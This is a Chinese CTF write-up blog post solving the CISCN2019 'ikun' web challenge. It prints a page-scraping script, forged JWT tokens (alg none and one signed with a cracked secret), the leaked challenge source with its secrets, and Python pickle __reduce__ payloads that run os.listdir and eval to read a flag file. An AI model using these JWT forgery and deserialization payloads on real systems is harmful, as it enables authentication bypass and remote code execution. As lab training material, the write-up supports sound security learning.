JWT&Pickle漏洞


JWT&Pickle漏洞


概述

闲来无事开始做一波web🐕,刷到一道19国赛的题目来记录一下hh。题目链接:[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day1 Web2]ikun)

进去可以看到出题人一定是个ikun(doge。


页面爆破

进去看了一下好像没有什么,先注册一个账号,没有发现什么利用的点,但是有一个提示让我们给坤坤冲个lv6,但是刷了好几面也没有发现*站lv6的购买链接,我们写个脚本爆破一下。

import requests
url="http://8ab626e0-486e-4a8f-9da3-d061871c85ae.node4.buuoj.cn:81/shop?page="

for i in range(0,1000):
	res=requests.get(url+str(i))
	if 'lv6.png' in res.text:
		print (i)
		break

发现在181面有一个lv6的购买图标价钱是1145141919.0,我们直接放入购物车中试试看有没有逻辑越权的漏洞。


JWT修改

我们抓个包发现下面有discount和price的选项,但是在修改price或者discount的时候会有302的跳转我们跟进去看一下这个目录,但是提示只有admin才可以成功进入。所以我们要怎么搞一个admin的登录凭证呢,现在的思路要不就是搞一个admin的登录密码,第二个方式就是搞一个jwt伪造。

我们对自己的jwt进行解析,首先尝试用none进行改造,但是好像失败了直接报了一个500的错误,我们用jwtcrack去爆破一下盐值,发现盐值是1Kun,我们直接进行构造jwt,进行重放攻击:

初始:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImR5ZCJ9.I5up85-89wOZLeOC1eZkc1xhFB2K_hHD9o3vKZdG93I

用alg为none改造的结果:
ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.ewogICJ1c2VybmFtZSI6ICJhZG1pbiIKfQ.

用jwtcrack进行爆破寻找盐值:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo


代码审计

以为差不多了结果还要挖洞,审计。。。

进去看一下代码发现留了些东西给我们,这个应该就是网页的源代码了。

在setting中可以发现有一个hint提示,同时也看到了盐值,折扣,价格;我们把hint解码一下得到:这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里:

import os

limit = 9
US = 'admin'
MI='hint: \u8fd9\u7f51\u7ad9\u4e0d\u4ec5\u53ef\u4ee5\u4ee5\u8585\u7f8a\u6bdb\uff0c\u6211\u8fd8\u7559\u4e86\u4e2a\u540e\u95e8\uff0c\u5c31\u85cf\u5728\u006c\u0076\u0036\u91cc'
PW = 'SJ%H0c7_3'
debug = False

connect_str = 'sqlite:///%s' % os.path.join(os.getcwd(), 'sshop.db3')
cookie_secret = 'JDIOtOQQjLXklJT/N4aJE.tmYZ.IoK9M0_IHZW448b6exe7p1pysO'
jwt_secret = '1Kun'
Discount = 0.8
Discount_money=10000

我们在init里看一下路由的分配情况:

from Shop import *
from User import *
from Admin import *

handlers = [
    (r'/', ShopIndexHandler),
    (r'/shop', ShopListHandler),
    (r'/info/(\d+)', ShopDetailHandler),
    (r'/shopcar', ShopCarHandler),
    (r'/shopcar/add', ShopCarAddHandler),
    (r'/pay', ShopPayHandler),
    (r'/user', UserInfoHandler),
    (r'/user/change', changePasswordHandler),
    (r'/pass/reset', ResetPasswordHanlder),
    (r'/login', UserLoginHanlder),
    (r'/logout', UserLogoutHandler),
    (r'/register', RegisterHandler),
    (r'/b1g_m4mber', AdminHandler)
]

跟进到admin.py界面中,可以发现找到了界面,利用了Pickle进行了反序列化操作:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib

class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

挖洞

我们去找一下python序列化的漏洞,搜索发现有一个reduce的漏洞,类似于php里的wakeup魔术方法,那么我们构造一下序列化的代码就按照p的构造逆向来就行:

__reduce__(self)
当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 __reduce__ 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 __setstate__ 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选);

首先看一下根目录下有什么文件吧:

import pickle
import urllib
import os

class payload(object):
    def __reduce__(self):
       return (os.listdir,('/',))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

读一下flag.txt即可:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a


文章作者: Dydong
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Dydong !
  目录